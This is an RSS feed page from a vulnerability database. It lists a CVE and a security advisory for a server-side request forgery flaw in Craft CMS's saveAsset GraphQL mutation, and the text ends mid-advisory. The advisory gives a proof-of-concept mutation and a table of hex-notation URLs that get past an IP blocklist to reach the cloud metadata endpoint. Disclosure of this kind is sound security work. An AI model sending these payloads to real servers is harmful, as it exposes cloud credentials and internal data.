https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-17T03:41:55.105393+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/euvd-2026-267786 EUVD-2026-267786 2026-10-17T03:41:55.108819+00:00 EUVD-2026-267786 https://cve.radiocsirt.org/vuln/fkie_cve-2026-25494 fkie_cve-2026-25494 2026-10-17T03:41:55.108853+00:00

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

 https://cve.radiocsirt.org/vuln/ghsa-m5r2-8p9x-hp5m GHSA-m5r2-8p9x-hp5m — Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation 2026-10-17T03:41:55.108884+00:00

Affected: Packagist: craftcms/cms

I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

--- ## Summary

The `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

--- ## Proof of Concept 1. Send the following GraphQL mutation: ```graphql mutation { save_images_Asset(_file: { url: "http://169.254.0xa9fe/latest/meta-data/" filename: "metadata.txt" }) { id } } ``` 2. The IP validation passes (hex notation not recognized as IP) 3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254` 4. Cloud metadata is fetched and saved

### Alternative Payloads | Payload | Notation | Resolves To | |---------|----------|-------------| | `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 | | `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 | | `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |

--- ## Technical Details

**File:** `src…